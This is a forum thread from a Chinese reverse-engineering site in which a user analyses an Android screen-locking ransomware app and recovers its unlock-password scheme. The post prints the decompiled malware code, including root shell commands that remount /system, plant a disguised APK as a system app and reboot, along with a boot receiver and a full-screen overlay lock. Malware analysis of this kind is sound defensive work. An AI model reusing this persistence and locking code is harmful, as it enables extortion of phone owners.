吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 15430|回复: 47
收起左侧

[Android 原创] 刚某帖提到的锁机软件分析

  [复制链接]
qtfreet00 发表于 2016-4-27 17:35
本帖最后由 世事繁华皆成空 于 2016-4-27 17:46 编辑

下载app直接拖到jeb中,mainifest下找到启动类,启动类下找到oncreate函数

[Java] 纯文本查看 复制代码
 @Override protected void onCreate(Bundle arg10) {
        c v0 = this;
        LogCatBroadcaster.start(v0);
        super.onCreate(arg10);
        v0.setContentView(2130903040);
        v0.b = v0.findViewById(2131099651);
        v0.t = v0.findViewById(2131099648);
        v0.b.setOnClickListener(new ButtonClickListener(v0));
        v0.q = v0.findViewById(2131099649);
        v0.w = v0.findViewById(2131099648);
        v0.q.setOnClickListener(new ButtonClickListener(v0));
        v0.a = v0.findViewById(2131099650);
        v0.s = v0.findViewById(2131099648);
        v0.a.setOnClickListener(new ButtonClickListener(v0));
        v0.z = v0.findViewById(2131099652);
        v0.c = v0.findViewById(2131099648);
        v0.z.setOnClickListener(new ButtonClickListener(v0));
        c v4 = v0;
        try {
            v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());
        }
        catch(IOException v4_1) {
        }
    }


首先启动一个貌似是广播服务的东西,点进去发现并不是

[Java] 纯文本查看 复制代码
    public static synchronized void start(Context context) {
        Context context2 = context;
        synchronized (LogCatBroadcaster.class) {
            if (!started) {
                started = true;
                if (VERSION.SDK_INT >= 16) {
                    if ((0 != (context2.getApplicationInfo().flags & 2) ? 1 : null) != null) {
                        try {
                            PackageInfo packageInfo = context2.getPackageManager().getPackageInfo("com.aide.ui", 128);
                            Thread thread = r10;
                            LogCatBroadcaster logCatBroadcaster = r10;
                            LogCatBroadcaster logCatBroadcaster2 = new LogCatBroadcaster(context2);
                            Thread thread2 = new Thread(logCatBroadcaster);
                            thread.start();
                        } catch (NameNotFoundException e) {
                            NameNotFoundException nameNotFoundException = e;
                        }
                    }
                }
            }
        }
    }


一个runnable接口,首先判断当前系统api是否高于16,也就是4.2,检测已安装程序中是否有com.aide.ui这个程序,不过没有做判断,而是直接启动一个线程,看看这个线程做了什么

[Java] 纯文本查看 复制代码
   public void run() {
        LogCatBroadcaster logCatBroadcaster = this;
        try {
            BufferedReader bufferedReader = r11;
            Reader reader = r11;
            Reader inputStreamReader = new InputStreamReader(Runtime.getRuntime().exec("logcat -v threadtime").getInputStream());
            BufferedReader bufferedReader2 = new BufferedReader(reader, 20);
            BufferedReader bufferedReader3 = bufferedReader;
            String str = "";
            while (true) {
                String readLine = bufferedReader3.readLine();
                str = readLine;
                if (readLine != null) {
                    Intent intent = r11;
                    Intent intent2 = new Intent();
                    Intent intent3 = intent;
                    intent = intent3.setPackage("com.aide.ui");
                    intent = intent3.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
                    String[] strArr = new String[1];
                    String[] strArr2 = strArr;
                    strArr[0] = str;
                    intent = intent3.putExtra("lines", strArr2);
                    logCatBroadcaster.context.sendBroadcast(intent3);
                } else {
                    return;
                }
            }
        } catch (IOException e) {
            IOException iOException = e;
        }
    }


获取当前线程信息,放入intent中,并发送一条指令,com.aide.runtime.VIEW_LOGCAT_ENTRY,目标包名即为上面的com.aide.ui,然后发送广播,很明显一个隐式启动

接下来
[Java] 纯文本查看 复制代码
   try {
            StringBuffer stringBuffer = r8;
            StringBuffer stringBuffer2 = new StringBuffer();
            d(stringBuffer.append(r0.path).append("/zihao.l").toString());
        } catch (IOException e) {
            IOException iOException = e;
        }


调用d方法,传入当前sd卡路径+zihao.l

看看d方法

[Java] 纯文本查看 复制代码
    private void d(String str) throws IOException {
        OutputStream outputStream = r11;
        OutputStream fileOutputStream = new FileOutputStream(str);
        OutputStream outputStream2 = outputStream;
        InputStream open = getAssets().open("ijm-x86.so");
        byte[] bArr = new byte[1024];
        for (int read = open.read(bArr); read > 0; read = open.read(bArr)) {
            outputStream2.write(bArr, 0, read);
        }
        outputStream2.flush();
        open.close();
        outputStream2.close();
    }


d方法从assets中复制ijm-x86.so文件到sd卡中,名称即为刚刚的zihao.l,有点污,黑波爱加密
[Java] 纯文本查看 复制代码
        @Override
        public void onClick(View view) {
            View view2 = view;
            b bVar = r6;
            b bVar2 = new b();
            bVar.rootShell();
            boolean deleteFile = a.deleteFile(this.this$0.file);
        }


点击事件,首先调用rootshell方法,字面上大概知道是获取root权限

[Java] 纯文本查看 复制代码
void rootShell() {
        b bVar = this;
        String[] strArr = new String[7];
        String[] strArr2 = strArr;
        strArr[0] = "mount -o rw,remount /system";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[1] = "mount -o rw,remount /system/app";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[2] = "cp /sdcard/zihao.l /system/app/";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[3] = "chmod 777 /system/app/zihao.l";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[4] = "mv /system/app/zihao.l /system/app/zihao.apk";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[5] = "chmod 644 /system/app/zihao.apk";
        strArr = strArr2;
        strArr2 = strArr;
        strArr[6] = "reboot";
        CommandResult execCommand = execCommand(strArr2, true);
    }


执行了几条shell命令,挂载系统为可写,复制zihao.l到system文件夹下,更名为zihao.apk,并赋权限644,即常见的211权限,执行重启,执行时会判断是否具有root权限,不是的话则会提示申请,最后删除掉zihao.l文件

大概可以看出这个程序只是个外壳程序,主要任务就是复制其中的ijm-86文件到system下,这也是该木马的核心所在,也可以判断为何作品敢叫嚣双清无效,毕竟双清只是针对数据段,而不影响system

由上面的shell命令中我们知道了ijm-x86.so实质是一个apk文件,那也拖到jeb中分析


[Java] 纯文本查看 复制代码
   <activity android:label="@string/app_name" android:name=".M">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="s" />
        <receiver android:name="bbb">
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>


mainifest下可以看到程序有一个入口函数和一个监听开机启动的广播以及一个监听设备管理器被激活的广播

先看下入口函数又做了那些事

[Java] 纯文本查看 复制代码
 public void onCreate(Bundle bundle) {
        Bundle bundle2 = bundle;
        LogCatBroadcaster.start(this);
        super.onCreate(bundle2);
        String str = "a.apk";
        File file = r14;
        StringBuffer stringBuffer = r14;
        StringBuffer stringBuffer2 = new StringBuffer();
        File file2 = new File(stringBuffer.append("/sdcard/").append(str).toString());
        File file3 = file;
        try {
            InputStream open = getAssets().open(str);
            FileOutputStream fileOutputStream = r14;
            FileOutputStream fileOutputStream2 = new FileOutputStream(file3);
            FileOutputStream fileOutputStream3 = fileOutputStream;
            int i = -1;
            byte[] bArr = new byte[1024];
            while (true) {
                int read = open.read(bArr);
                i = read;
                if (read == -1) {
                    break;
                }
                fileOutputStream3.write(bArr, 0, i);
            }
            fileOutputStream3.close();
            open.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        try {
            Runtime runtime = Runtime.getRuntime();
            String[] strArr = new String[3];
            String[] strArr2 = strArr;
            strArr[0] = "su";
            strArr = strArr2;
            strArr2 = strArr;
            strArr[1] = "-c";
            strArr = strArr2;
            strArr2 = strArr;
            strArr[2] = "mount -o remount rw /system\ncp -f /sdcard/a.apk /system/app/a.apk\nchmod 777 /system/app/a.apk";
            Process exec = runtime.exec(strArr2);
        } catch (IOException e2) {
            IOException iOException = e2;
        }
        activiteDevice();
    }


这个方法比较长,慢慢分析

首先又是启动了LogCatBroadcaster这个东西,看过之后发现跟之前的一样,就跳过了,之后读取assets下的a.apk文件,拷贝到sd卡下

[Java] 纯文本查看 复制代码
   strArr[0] = "su";
            strArr = strArr2;
            strArr2 = strArr;
            strArr[1] = "-c";
            strArr = strArr2;
            strArr2 = strArr;
            strArr[2] = "mount -o remount rw /system\ncp -f /sdcard/a.apk /system/app/a.apk\nchmod 777 /system/app/a.apk";
            Process exec = runtime.exec(strArr2);


调用su权限,挂载system,并将a.apk复制到system/app下,并附上最高777权限,之后调用activiteDevice()方法,跟踪一下

[Java] 纯文本查看 复制代码
 private void activiteDevice() {
        Intent intent = r12;
        Intent intent2 = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        Intent intent3 = intent;
        ComponentName componentName = r6;
        ComponentName componentName2 = componentName2;
        try {
            componentName2 = new ComponentName(this, Class.forName("com.h.MyAdmin"));
            intent = intent3.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
            startActivityForResult(intent3, 0);
        } catch (Throwable e) {
            Throwable th = e;
            NoClassDefFoundError noClassDefFoundError = r12;
            NoClassDefFoundError noClassDefFoundError2 = new NoClassDefFoundError(th.getMessage());
            throw noClassDefFoundError;
        }
    }


常见的,激活设备管理器的方法,不过不清楚的是,既然已经复制到系统文件夹下了,还要这玩意干嘛,这个入口类就这么多内容,看下开机启动广播那个类

[Java] 纯文本查看 复制代码
    @Override public void onReceive(Context arg15, Intent arg16) {
        Class v9;
        bbb v0 = this;
        Context v1 = arg15;
        if(arg16.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
            v0.abortBroadcast();
            Intent v6 = null;
            Intent v7 = null;
            Context v8 = v1;
            try {
                v9 = Class.forName("com.h.s");
            }
            catch(ClassNotFoundException v6_1) {
                throw new NoClassDefFoundError(v6_1.getMessage());
            }

            super(v8, v9);
            v6.addFlags(268435456);
            v1.startService(v6);
        }
    }


获取到com.h.s这个类,然后继承父类,并启动服务,

来到s类下

[Java] 纯文本查看 复制代码
 @Override
    public void onCreate() {
        super.onCreate();
        this.pass = (long) (Math.random() * ((double) 100000000));
        Long l = r11;
        Long l2 = r11;
        Long l3 = new Long(this.pass + ((long) 5));
        this.passw = l;
        DU du = r9;
        DU du2 = new DU("cnmb");
        this.des = du;
        Service service = this;
        try {
            du = r9;
            du2 = new DU(r0.des.decrypt("87622f67c5411a9a"));
            service.des = du;
        } catch (Exception e) {
            Exception exception = e;
        }
        r0.share = getSharedPreferences("Flowers", 0);
        r0.editor = r0.share.edit();
        if (r0.share.getLong("m", (long) 0) == ((long) 0)) {
            Editor putLong = r0.editor.putLong("m", r0.pass);
            boolean commit = r0.editor.commit();
            try {
                du2 = r0.des;
                StringBuffer stringBuffer = r9;
                StringBuffer stringBuffer2 = new StringBuffer();
                putLong = r0.editor.putString("passw", du2.encrypt(stringBuffer.append("").append(r0.passw).toString()));
                commit = r0.editor.commit();
            } catch (Exception e2) {
                exception = e2;
            }
            if (is(getApplicationContext())) {
                StringBuffer stringBuffer3 = r9;
                StringBuffer stringBuffer4 = new StringBuffer();
                r0.ppss = stringBuffer3.append(r0.share.getLong("m", (long) 8)).append("").toString();
                try {
                    r0.password = r0.des.decrypt(r0.share.getString("passw", ""));
                } catch (Exception e22) {
                    exception = e22;
                }
                AnonymousClass100000000 anonymousClass100000000 = r9;
                AnonymousClass100000000 anonymousClass1000000002 = new Thread(r0) {
                    private final s this$0;

                    {
                        Thread thread = this;
                        this.this$0 = r6;
                    }

                    static s access$0(AnonymousClass100000000 anonymousClass100000000) {
                        return anonymousClass100000000.this$0;
                    }

                    public void run() {
                    }
                };
                anonymousClass100000000.start();
                return;
            }
            try {
                putLong = r0.editor.putLong("m", Long.parseLong(r0.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
                commit = r0.editor.commit();
                putLong = r0.editor.putString("passw", "b6ac0b03fa9a48ac");
                commit = r0.editor.commit();
            } catch (Exception e222) {
                exception = e222;
            }
        }
    }


还是很长,那就先看onstart
[Java] 纯文本查看 复制代码
 @Override
    public void onStart(Intent intent, int i) {
        super.onStart(intent, i);
        c();
    }

    private void c() {
        LayoutParams layoutParams = r10;
        LayoutParams layoutParams2 = new LayoutParams();
        this.wmParams = layoutParams;
        Application application = getApplication();
        Application application2 = getApplication();
        this.mWindowManager = (WindowManager) application.getSystemService(Context.WINDOW_SERVICE);
        this.wmParams.type = 2010;
        this.wmParams.format = 1;
        this.wmParams.flags = 1280;
        this.wmParams.gravity = 49;
        this.wmParams.x = 0;
        this.wmParams.y = 0;
        this.wmParams.width = -1;
        this.wmParams.height = -1;
        this.mFloatLayout = LayoutInflater.from(getApplication()).inflate(R.layout.newone, (ViewGroup) null);
        this.mWindowManager.addView(this.mFloatLayout, this.wmParams);
        this.bt = (Button) this.mFloatLayout.findViewById(R.id.bt);
        this.ed = (EditText) this.mFloatLayout.findViewById(R.id.ed);
        this.tv = (TextView) this.mFloatLayout.findViewById(R.id.tv);
        try {
            this.ed.setHint("宝贝在这输入密码哦!");
            r0.tv.append("序列号:25417538");
        } catch (Exception e) {
            Exception exception = e;
        }
        Button button = r0.bt;
        AnonymousClass100000001 anonymousClass100000001 = r10;
        AnonymousClass100000001 anonymousClass1000000012 = new OnClickListener(r0) {
            private final s this$0;

            {
                AnonymousClass100000001 anonymousClass100000001 = this;
                this.this$0 = r6;
            }

            static s access$0(AnonymousClass100000001 anonymousClass100000001) {
                return anonymousClass100000001.this$0;
            }

            @Override
            public void onClick(View view) {
                View view2 = view;
                try {
                    if (this.this$0.ed.getText().toString().equals(r0.this$0.des.decrypt(r0.this$0.share.getString("passw", "")))) {
                        r0.this$0.mWindowManager.removeView(r0.this$0.mFloatLayout);
                        r0.this$0.stopSelf();
                    }
                } catch (Exception e) {
                    Exception exception = e;
                }
            }
        };
        button.setOnClickListener(anonymousClass100000001);
        try {
            TextView textView = r0.tv;
            StringBuffer stringBuffer = r10;
            StringBuffer stringBuffer2 = new StringBuffer();
            stringBuffer2 = r10;
            StringBuffer stringBuffer3 = new StringBuffer();
            textView.append(stringBuffer.append(stringBuffer2.append("\n").append(r0.des.decrypt("54a4046cdce305064172f19f4a09ff4fe2f7c6a2b702c")).toString()).append(r0.share.getLong("m", (long) 0)).toString());
        } catch (Exception e2) {
            exception = e2;
        }
    }


start函数里调用的c方法,c方法就是核心锁机了,序列号是固定的,后面加上des解密的54a4046cdce305064172f19f4a09ff4fe2f7c6a2b702c,再加上share里的m值,根据sp中的密码来结束当前进程

再回到oncreate中,首先先随机一个9位以内的输(long) (Math.random() * ((double) 100000000)),之后加上5,然后调用DU方法,传入cnmb  (草泥马比),来到DU下

[Java] 纯文本查看 复制代码
   public DU(String arg9) {
        DU v0 = this;
        super();
        v0.encryptCipher = null;
        v0.decryptCipher = null;
        DU v5 = v0;
        String v6 = arg9;
        try {
            Key v2 = v5.getKey(v6.getBytes());
            v0.encryptCipher = Cipher.getInstance("DES");
            v0.encryptCipher.init(1, v2);
            v0.decryptCipher = Cipher.getInstance("DES");
            v0.decryptCipher.init(2, v2);
        }
        catch(Exception v5_1) {
            v5_1.printStackTrace();
        }
    }


看来cnmb就是key了,之后去解密87622f67c5411a9a,解密时先转成16进制为
QQ截图20160427172239.png

最终解密下来为“wocao”

有一段直接略过了,都差不多,
SP下主要就是记录了两条值,一条为m一个为passw,m直接存储前面的随机值,passw存储随机值+5然后用key des加密一下,

那到这里差不多就结束了

密码就是m标签的值+5


附上隐藏的最深的a.apk的解锁密码
QQ截图20160427174341.png

作者逻辑不通啊,你让别人叫你,怎么解密密码并不是那两个字呢

总结:apk没什么技术难度,加密也不难,顺便吐槽下,代码风格太烂了,做为一个安卓码农,根本看不下去,没有mvp,没有rxjava,书写也是一团糟,辣鸡











点评

锁机软件貌似是多家综合的杂交玩意,后边的a.apk那个貌似根本没卵用,勒索qq号都不一样  发表于 2016-4-27 18:09

免费评分

参与人数 25热心值 +25 收起 理由
jmzjh99 + 1 用心讨论,共获提升!
wangsheng66 + 1 热心回复!
蜡笔大大新 + 1 我很赞同!
凹凸曼。 + 1 谢谢@Thanks!
策士 + 1 鼓励转贴优秀软件安全工具和文档!
jammy + 1 热心回复!
大海天行健 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
2864095098 + 1 热心回复!
7151493817 + 1 受教了!
rainlee + 1 说的好,锁机作者就是个辣鸡!
monkey9981 + 1 我很赞同!
就爱玩玩 + 1 谢谢@Thanks!
poca + 1 我很赞同!
w4526423 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hallo520 + 1 膜拜啊
byh3025 + 1 热心回复!
绍离 + 1 仰望0.0.。。。
葬天VS晓伟 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
1447552891 + 1 用心讨论,共获提升!
iL_ + 1 我是来活该那些被锁的小朋友
tangchen7758 + 1 用心讨论,共获提升!
oriwqz + 1 逆向有你更精彩!
sf4922 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
我来看看看 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
联盟少侠 + 1 收下我膝盖!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

普通用户 发表于 2016-4-27 17:41
多谢大牛分析   ps:终于前排了
lljht007 发表于 2016-4-27 17:42
crownman 发表于 2016-4-27 17:45
表示刚才那个装逼装的太纯熟了....刚看到...不知道从什么时候起 特别多小学生做锁机 骗钱...
头像被屏蔽
相守 发表于 2016-4-27 17:47
提示: 作者被禁止或删除 内容自动屏蔽
联盟少侠 发表于 2016-4-27 17:48
最喜欢看大神,撕碎这些渣们 哈哈哈哈
疯子哥 发表于 2016-4-27 17:48
学习了~
我来看看看 发表于 2016-4-27 17:51
前排 前排 学习了
oriwqz 发表于 2016-4-27 17:54
不知作者看到结尾的点评有何感想。
ppszxc 发表于 2016-4-27 17:55
太厉害了,学了一招,哈哈
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-1 04:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表